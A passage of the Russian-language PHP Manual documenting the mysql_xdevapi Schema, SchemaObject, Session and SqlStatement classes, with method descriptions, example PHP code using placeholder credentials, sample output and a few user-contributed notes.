$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collect = $schema->createCollection("people");
$collect->add('{"name": "Fred", "age": 21, "job": "Construction"}')->execute();
$collect->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

$table = $schema->getCollectionAsTable("people");
$collection = $schema->getCollection("people");

var_dump($table);
var_dump($collection);

Результатом выполнения данного примера будет что-то подобное:

object(mysql_xdevapi\Table)#4 (1) {
  ["name"]=>
  string(6) "people"
}

object(mysql_xdevapi\Collection)#5 (1) {
  ["name"]=>
  string(6) "people"
}

User Contributed Notes

There are no user contributed notes for this page.


Получить все коллекции схемы

  • « Schema::getCollectionAsTable
  • Schema::getName »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Получить все коллекции схемы

Schema::getCollections

(Информация о версии неизвестна, возможно, только в Git)

Schema::getCollections — Получить все коллекции схемы

Описание

public mysql_xdevapi\Schema::getCollections(): array

Получить список коллекций для этой схемы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив всех коллекций в этой схеме, где каждое значение элемента массива является объектом Collection с именем коллекции в качестве ключа.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getCollections()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collect = $schema->createCollection("people");
$collect->add('{"name": "Fred", "age": 21, "job": "Construction"}')->execute();
$collect->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

$collections = $schema->getCollections();
var_dump($collections);
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  ["people"]=>
  object(mysql_xdevapi\Collection)#4 (1) {
    ["name"]=>
    string(6) "people"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Получить имя схемы

  • « Schema::getCollections
  • Schema::getSession »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Получить имя схемы

Schema::getName

(Информация о версии неизвестна, возможно, только в Git)

Schema::getName — Получить имя схемы

Описание

public mysql_xdevapi\Schema::getName(): string

Получить имя схемы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя схемы в виде строки, подключённой к объекту схемы.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getName()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");

// ...

var_dump($schema->getName());
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "addressbook"

User Contributed Notes

There are no user contributed notes for this page.


Получить сессию схемы

  • « Schema::getName
  • Schema::getTable »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Получить сессию схемы

Schema::getSession

(Информация о версии неизвестна, возможно, только в Git)

Schema::getSession — Получить сессию схемы

Описание

public mysql_xdevapi\Schema::getSession(): mysql_xdevapi\Session

Получение нового объекта Session из объекта Schema.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Session.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getSession()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");

// ...

$newsession = $schema->getSession();

var_dump($session);
var_dump($newsession);
?>

Результатом выполнения данного примера будет что-то подобное:

object(mysql_xdevapi\Session)#1 (0) {
}

object(mysql_xdevapi\Session)#3 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Получить таблицу схемы

  • « Schema::getSession
  • Schema::getTables »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Получить таблицу схемы

Schema::getTable

(Информация о версии неизвестна, возможно, только в Git)

Schema::getTable — Получить таблицу схемы

Описание

public mysql_xdevapi\Schema::getTable(string $name): mysql_xdevapi\Table

Получение объекта Table для указанной таблицы в схеме.

Список параметров

name

Имя таблицы.

Возвращаемые значения

Объект Table.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getTable()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получить таблицы схемы

  • « Schema::getTable
  • mysql_xdevapi\SchemaObject »
  • PHP Manual
  • mysql_xdevapi\Schema
  • Получить таблицы схемы

Schema::getTables

(Информация о версии неизвестна, возможно, только в Git)

Schema::getTables — Получить таблицы схемы

Описание

public mysql_xdevapi\Schema::getTables(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив всех таблиц в этой схеме, где каждое значение элемента массива является объектом Table с именем таблицы в качестве ключа.

Примеры

Пример #1 Пример использования mysql_xdevapi\Schema::getTables()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$session->sql("CREATE TABLE addressbook.cities(name text, population int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Portland', 639863), ('Seattle', 704352)")->execute();

$schema = $session->getSchema("addressbook");
$tables = $schema->getTables();

var_dump($tables);
?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["cities"]=>
  object(mysql_xdevapi\Table)#3 (1) {
    ["name"]=>
    string(6) "cities"
  }

  ["names"]=>
  object(mysql_xdevapi\Table)#4 (1) {
    ["name"]=>
    string(5) "names"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс SchemaObject

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\SchemaObject implements mysql_xdevapi\DatabaseObject {
/* Методы */
abstract getSchema(): mysql_xdevapi\Schema
}

Содержание

  • SchemaObject::getSchema — Получает объект схемы

User Contributed Notes

There are no user contributed notes for this page.


Получает объект схемы

  • « mysql_xdevapi\SchemaObject
  • mysql_xdevapi\Session »
  • PHP Manual
  • mysql_xdevapi\SchemaObject
  • Получает объект схемы

SchemaObject::getSchema

(Информация о версии неизвестна, возможно, только в Git)

SchemaObject::getSchema — Получает объект схемы

Описание

abstract mysql_xdevapi\SchemaObject::getSchema(): mysql_xdevapi\Schema

Используется другими объектами для получения объекта схемы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий объект Schema.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::getSchema()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schema = $session->getSchema("addressbook");

print_r($schema);

Результатом выполнения данного примера будет что-то подобное:

mysql_xdevapi\Schema Object
(
    [name] => addressbook
)

User Contributed Notes

There are no user contributed notes for this page.


Класс Session

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Session {
/* Методы */
public close(): bool
public commit(): Object
public createSchema(string $schema_name): mysql_xdevapi\Schema
public dropSchema(string $schema_name): bool
public generateUUID(): string
public getDefaultSchema(): string
public getSchema(string $schema_name): mysql_xdevapi\Schema
public getSchemas(): array
public getServerVersion(): int
public listClients(): array
public quoteName(string $name): string
public releaseSavepoint(string $name): void
public rollback(): void
public rollbackTo(string $name): void
public setSavepoint(string $name = ?): string
public sql(string $query): mysql_xdevapi\SqlStatement
public startTransaction(): void
}

Содержание

  • Session::close — Закрывает сессию
  • Session::commit — Фиксирует транзакцию
  • Session::__construct — Описание конструктора
  • Session::createSchema — Создаёт новую схему
  • Session::dropSchema — Удаляет схему
  • Session::generateUUID — Получает новый UUID
  • Session::getDefaultSchema — Получает имя схемы по умолчанию
  • Session::getSchema — Получает новый объект схемы
  • Session::getSchemas — Получает схемы
  • Session::getServerVersion — Получает версию сервера
  • Session::listClients — Получает список клиентов
  • Session::quoteName — Добавляет кавычки
  • Session::releaseSavepoint — Отменяет установленную точку сохранения
  • Session::rollback — Откатывает транзакцию
  • Session::rollbackTo — Откатывает транзакцию до точки сохранения
  • Session::setSavepoint — Создаёт точку сохранения
  • Session::sql — Выполняет SQL запрос
  • Session::startTransaction — Начинает транзакцию

User Contributed Notes

There are no user contributed notes for this page.


Закрывает сессию

  • « mysql_xdevapi\Session
  • Session::commit »
  • PHP Manual
  • mysql_xdevapi\Session
  • Закрывает сессию

Session::close

(Информация о версии неизвестна, возможно, только в Git)

Session::close — Закрывает сессию

Описание

public mysql_xdevapi\Session::close(): bool

Закрывает сессию с сервером.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если сессия закрыта.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::close()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$session->close();

User Contributed Notes

There are no user contributed notes for this page.


Фиксирует транзакцию

  • « Session::close
  • Session::__construct »
  • PHP Manual
  • mysql_xdevapi\Session
  • Фиксирует транзакцию

Session::commit

(PHP 4 >= 4.4.0, PHP 5, PHP 7, PHP 8)

Session::commit — Фиксирует транзакцию

Описание

public mysql_xdevapi\Session::commit(): Object

Фиксирует транзакцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект SqlStatementResult.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::commit()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();

$collection->add('{"John":42, "Sam":33}')->execute();
$savepoint = $session->setSavepoint();

$session->commit();
$session->close();

User Contributed Notes

There are no user contributed notes for this page.


Описание конструктора

  • « Session::commit
  • Session::createSchema »
  • PHP Manual
  • mysql_xdevapi\Session
  • Описание конструктора

Session::__construct

(Информация о версии неизвестна, возможно, только в Git)

Session::__construct — Описание конструктора

Описание

private mysql_xdevapi\Session::__construct()

Объект Session, инициированный getSession().

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::__construct()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую схему

  • « Session::__construct
  • Session::dropSchema »
  • PHP Manual
  • mysql_xdevapi\Session
  • Создаёт новую схему

Session::createSchema

(Информация о версии неизвестна, возможно, только в Git)

Session::createSchema — Создаёт новую схему

Описание

public mysql_xdevapi\Session::createSchema(string $schema_name): mysql_xdevapi\Schema

Создаёт новую схему.

Список параметров

schema_name

Имя схемы для создания.

Возвращаемые значения

Объект Schema в случае успешного выполнения, в случае возникновения ошибки выдаёт исключение.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::createSchema()

<?php
$uri = 'mysqlx://happyuser:password@127.0.0.1:33060/';
$sess = mysql_xdevapi\getSession($uri);

try {

if ($schema = $sess->createSchema('fruit')) {
echo "Инфо: Я создал схему с именем 'fruit'\n";
}

} catch (Exception $e) {

echo $e->getMessage();

}
?>

Результатом выполнения данного примера будет что-то подобное:

Инфо: Я создал схему с именем 'fruit'

User Contributed Notes

There are no user contributed notes for this page.


Удаляет схему

  • « Session::createSchema
  • Session::generateUUID »
  • PHP Manual
  • mysql_xdevapi\Session
  • Удаляет схему

Session::dropSchema

(Информация о версии неизвестна, возможно, только в Git)

Session::dropSchema — Удаляет схему

Описание

public mysql_xdevapi\Session::dropSchema(string $schema_name): bool

Удаляет схему (базу данных).

Список параметров

schema_name

Имя схемы для удаления.

Возвращаемые значения

true, если схема удалена, или false если она не существует или не может быть удалена.

Генерируется ошибка уровня E_WARNING, если схема не существует.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::dropSchema()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->dropSchema("addressbook");

$session->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


Получает новый UUID

  • « Session::dropSchema
  • Session::getDefaultSchema »
  • PHP Manual
  • mysql_xdevapi\Session
  • Получает новый UUID

Session::generateUUID

(Информация о версии неизвестна, возможно, только в Git)

Session::generateUUID — Получает новый UUID

Описание

public mysql_xdevapi\Session::generateUUID(): string

Генерирует универсальный уникальный идентификатор (UUID), сгенерированный в соответствии с » RFC 4122.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

UUID; строка длиной 32 символа.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::generateUuid()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$uuid = $session->generateUuid();

var_dump($uuid);

Результатом выполнения данного примера будет что-то подобное:

string(32) "484B18AC7980F8D4FE84613CDA5EE84B"

User Contributed Notes

There are no user contributed notes for this page.


Получает имя схемы по умолчанию

  • « Session::generateUUID
  • Session::getSchema »
  • PHP Manual
  • mysql_xdevapi\Session
  • Получает имя схемы по умолчанию

Session::getDefaultSchema

(Информация о версии неизвестна, возможно, только в Git)

Session::getDefaultSchema — Получает имя схемы по умолчанию

Описание

public mysql_xdevapi\Session::getDefaultSchema(): string

Извлекает имя схемы по умолчанию, которая обычно устанавливается в URI соединения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя схемы по умолчанию, определённой соединением или null, если схема не установлена.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::getSchema()

<?php
$uri = "mysqlx://testuser:testpasswd@localhost:33160/testx?ssl-mode=disabled";
$session = mysql_xdevapi\getSession($uri);

$schema = $session->getDefaultSchema();
echo $schema;
?>

Результат выполнения данного примера:

testx

User Contributed Notes

shaun at shaunfreeman dot co dot uk 25-Sep-2019 08:30
This method actually returns a Schema object that was named in the connection string or NULL
<?php
$session = mysql_xdevapi\getSession('mysqlzx://dbuser:654321@mysql:33060/dbname');

/** @var Schema $defaultSchema */
$defaultSchema = $session->getDefaultSchema();

print "<pre>";
print_r($defaultSchema);
?>

will output:
mysql_xdevapi\Schema Object
(
[name] => dbname
)


Получает новый объект схемы

  • « Session::getDefaultSchema
  • Session::getSchemas »
  • PHP Manual
  • mysql_xdevapi\Session
  • Получает новый объект схемы

Session::getSchema

(Информация о версии неизвестна, возможно, только в Git)

Session::getSchema — Получает новый объект схемы

Описание

public mysql_xdevapi\Session::getSchema(string $schema_name): mysql_xdevapi\Schema

Новый объект Schema для указанного имени схемы.

Список параметров

schema_name

Имя схемы (базы данных), для которой нужно получить объект Schema.

Возвращаемые значения

Объект Schema.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::getSchema()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schema = $session->getSchema("addressbook");

print_r($schema);

Результатом выполнения данного примера будет что-то подобное:

mysql_xdevapi\Schema Object
(
    [name] => addressbook
)

User Contributed Notes

jcastro at eftec dot cl 09-Aug-2018 01:59
The syntaxis is

$schema = $session->getSchema( "storedb" ); // it returns a Schema object

Where $session is a Session object and storedb is the name of the schema.


Получает схемы

  • « Session::getSchema
  • Session::getServerVersion »
  • PHP Manual
  • mysql_xdevapi\Session
  • Получает схемы

Session::getSchemas

(Информация о версии неизвестна, возможно, только в Git)

Session::getSchemas — Получает схемы

Описание

public mysql_xdevapi\Session::getSchemas(): array

Получить объекты схемы для всех схем, доступных в сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив, содержащий объекты, которые представляют все схемы, доступные в сессии.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::getSchemas()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schemas = $session->getSchemas();

print_r($schemas);

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => mysql_xdevapi\Schema Object
        (
            [name] => addressbook
        )
    [1] => mysql_xdevapi\Schema Object
        (
            [name] => information_schema
        )
    ...

User Contributed Notes

There are no user contributed notes for this page.


Получает версию сервера

  • « Session::getSchemas
  • Session::listClients »
  • PHP Manual
  • mysql_xdevapi\Session
  • Получает версию сервера

Session::getServerVersion

(Информация о версии неизвестна, возможно, только в Git)

Session::getServerVersion — Получает версию сервера

Описание

public mysql_xdevapi\Session::getServerVersion(): int

Получает версию сервера MySQL для сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Версия сервера MySQL для сессии в виде целого числа, такого как "80012".

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::getServerVersion()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$version = $session->getServerVersion();

var_dump($version);

Результатом выполнения данного примера будет что-то подобное:

int(80012)

User Contributed Notes

There are no user contributed notes for this page.


Получает список клиентов

  • « Session::getServerVersion
  • Session::quoteName »
  • PHP Manual
  • mysql_xdevapi\Session
  • Получает список клиентов

Session::listClients

(Информация о версии неизвестна, возможно, только в Git)

Session::listClients — Получает список клиентов

Описание

public mysql_xdevapi\Session::listClients(): array

Получить список клиентских подключений к сессии MySQL сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив, содержащий текущих зарегистрированных клиентов. Элементы массива: "client_id", "user", "host", и "sql_session".

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::listClients()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$ids = $session->listClients();

var_dump($ids);
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["client_id"]=>
    int(61)
    ["user"]=>
    string(4) "root"
    ["host"]=>
    string(9) "localhost"
    ["sql_session"]=>
    int(72)
  }
}

User Contributed Notes

shaun at shaunfreeman dot co dot uk 30-Sep-2019 06:56
As of Version 8.0.17 the Session::listClients() method has not been implemented yet.


Добавляет кавычки

  • « Session::listClients
  • Session::releaseSavepoint »
  • PHP Manual
  • mysql_xdevapi\Session
  • Добавляет кавычки

Session::quoteName

(Информация о версии неизвестна, возможно, только в Git)

Session::quoteName — Добавляет кавычки

Описание

public mysql_xdevapi\Session::quoteName(string $name): string

Функция для экранирования имён и идентификаторов SQL. Экранирует идентификатор, указанный в соответствии с настройками текущего соединения. Эту функцию не следует использовать для экранирования значений.

Список параметров

name

Строка для экранирования.

Возвращаемые значения

Экранированная строка.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::quoteName()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$first = "MySQL's test";
var_dump($first);
var_dump($session->quoteName($first));

$second = 'Another `test` "like" `this`';
var_dump($second);
var_dump($session->quoteName($second));
?>

Результатом выполнения данного примера будет что-то подобное:

string(12) "MySQL's test"
string(14) "`MySQL's test`"

string(28) "Another `test` "like" `this`"
string(34) "`Another ``test`` "like" ``this```"

User Contributed Notes

There are no user contributed notes for this page.


Отменяет установленную точку сохранения

  • « Session::quoteName
  • Session::rollback »
  • PHP Manual
  • mysql_xdevapi\Session
  • Отменяет установленную точку сохранения

Session::releaseSavepoint

(Информация о версии неизвестна, возможно, только в Git)

Session::releaseSavepoint — Отменяет установленную точку сохранения

Описание

public mysql_xdevapi\Session::releaseSavepoint(string $name): void

Отменяет ранее установленную точку сохранения.

Список параметров

name

Имя точки сохранения для отмены.

Возвращаемые значения

Объект SqlStatementResult.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::releaseSavepoint()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


Откатывает транзакцию

  • « Session::releaseSavepoint
  • Session::rollbackTo »
  • PHP Manual
  • mysql_xdevapi\Session
  • Откатывает транзакцию

Session::rollback

(Информация о версии неизвестна, возможно, только в Git)

Session::rollback — Откатывает транзакцию

Описание

public mysql_xdevapi\Session::rollback(): void

Откатывает транзакцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект SqlStatementResult.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::rollback()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


Откатывает транзакцию до точки сохранения

  • « Session::rollback
  • Session::setSavepoint »
  • PHP Manual
  • mysql_xdevapi\Session
  • Откатывает транзакцию до точки сохранения

Session::rollbackTo

(Информация о версии неизвестна, возможно, только в Git)

Session::rollbackTo — Откатывает транзакцию до точки сохранения

Описание

public mysql_xdevapi\Session::rollbackTo(string $name): void

Откатывает транзакцию до точки сохранения.

Список параметров

name

Имя точки сохранения для отката; без учёта регистра.

Возвращаемые значения

Объект SqlStatementResult.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::rollbackTo()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint1 = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$savepoint2 = $session->setSavepoint();

$session->rollbackTo($savepoint1);
?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт точку сохранения

  • « Session::rollbackTo
  • Session::sql »
  • PHP Manual
  • mysql_xdevapi\Session
  • Создаёт точку сохранения

Session::setSavepoint

(Информация о версии неизвестна, возможно, только в Git)

Session::setSavepoint — Создаёт точку сохранения

Описание

public mysql_xdevapi\Session::setSavepoint(string $name = ?): string

Создаёт новую точку сохранения для транзакции.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Название точки сохранения. Имя генерируется автоматически, если необязательный параметр name не определён, как 'SAVEPOINT1', 'SAVEPOINT2' и т.д.

Возвращаемые значения

Название точки сохранения.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::setSavepoint()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


Выполняет SQL запрос

  • « Session::setSavepoint
  • Session::startTransaction »
  • PHP Manual
  • mysql_xdevapi\Session
  • Выполняет SQL запрос

Session::sql

(Информация о версии неизвестна, возможно, только в Git)

Session::sql — Выполняет SQL запрос

Описание

public mysql_xdevapi\Session::sql(string $query): mysql_xdevapi\SqlStatement

Создаёт собственный оператор SQL. Заполнители поддерживаются с помощью нативного синтаксиса "?". Использует метод execute для выполнения утверждения SQL.

Список параметров

query

Утверждение SQL для выполнения.

Возвращаемые значения

Объект SqlStatement.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::sql()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE addressbook")->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Начинает транзакцию

  • « Session::sql
  • mysql_xdevapi\SqlStatement »
  • PHP Manual
  • mysql_xdevapi\Session
  • Начинает транзакцию

Session::startTransaction

(Информация о версии неизвестна, возможно, только в Git)

Session::startTransaction — Начинает транзакцию

Описание

public mysql_xdevapi\Session::startTransaction(): void

Начинает новую транзакцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект SqlStatementResult.

Примеры

Пример #1 Пример использования mysql_xdevapi\Session::startTransaction()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс SqlStatement

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\SqlStatement {
/* Константы */
const int EXECUTE_ASYNC = 1;
const int BUFFERED = 2;
/* Свойства */
public $statement;
/* Методы */
public bind(string $param): mysql_xdevapi\SqlStatement
public execute(): mysql_xdevapi\Result
public getNextResult(): mysql_xdevapi\Result
public getResult(): mysql_xdevapi\Result
public hasMoreResults(): bool
}

Свойства

statement

Предопределённые константы

mysql_xdevapi\SqlStatement::EXECUTE_ASYNC

mysql_xdevapi\SqlStatement::BUFFERED

Содержание

  • SqlStatement::bind — Связывает параметры утверждения
  • SqlStatement::__construct — Описание конструктора
  • SqlStatement::execute — Выполняет операцию
  • SqlStatement::getNextResult — Получает следующий результат
  • SqlStatement::getResult — Получает результат
  • SqlStatement::hasMoreResults — Проверяет, есть ли ещё результаты

User Contributed Notes

There are no user contributed notes for this page.


Связывает параметры утверждения

  • « mysql_xdevapi\SqlStatement
  • SqlStatement::__construct »
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Связывает параметры утверждения

SqlStatement::bind

(Информация о версии неизвестна, возможно, только в Git)

SqlStatement::bind — Связывает параметры утверждения

Описание

public mysql_xdevapi\SqlStatement::bind(string $param): mysql_xdevapi\SqlStatement

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

param

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatement::bind()

<?php

/* ... */

?>

User Contributed Notes

me25show at gmail dot com 21-Feb-2019 08:41
bind using example:
<?php
try {
    $session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
    die("Connection could not be established: " . $e->getMessage());
}
$stmt = $session->sql("SELECT * FROM table WHERE id=? AND data=?");
$stmt->bind(1);
$stmt->bind("data");
$result = $stmt->execute();

?>


Описание конструктора

  • « SqlStatement::bind
  • SqlStatement::execute »
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Описание конструктора

SqlStatement::__construct

(Информация о версии неизвестна, возможно, только в Git)

SqlStatement::__construct — Описание конструктора

Описание

private mysql_xdevapi\SqlStatement::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatement::__construct()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Выполняет операцию

  • « SqlStatement::__construct
  • SqlStatement::getNextResult »
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Выполняет операцию

SqlStatement::execute

(Информация о версии неизвестна, возможно, только в Git)

SqlStatement::execute — Выполняет операцию

Описание

public mysql_xdevapi\SqlStatement::execute(): mysql_xdevapi\Result

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatement::execute()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает следующий результат

  • « SqlStatement::execute
  • SqlStatement::getResult »
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Получает следующий результат

SqlStatement::getNextResult

(Информация о версии неизвестна, возможно, только в Git)

SqlStatement::getNextResult — Получает следующий результат

Описание

public mysql_xdevapi\SqlStatement::getNextResult(): mysql_xdevapi\Result

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatement::getNextResult()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает результат

  • « SqlStatement::getNextResult
  • SqlStatement::hasMoreResults »
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Получает результат

SqlStatement::getResult

(Информация о версии неизвестна, возможно, только в Git)

SqlStatement::getResult — Получает результат

Описание

public mysql_xdevapi\SqlStatement::getResult(): mysql_xdevapi\Result

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\SqlStatement::getResult()

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли ещё результаты

  • « SqlStatement::getResult
  • mysql_xdevapi\SqlStatementResult »
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Проверяет, есть ли ещё результаты

SqlStatement::hasMoreResults

(Информация о версии неизвестна, возможно, только в Git)

SqlStatement::hasMoreResults — Проверяет, есть ли ещё результаты

Описание

public mysql_xdevapi\SqlStatement::hasMoreResults(): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

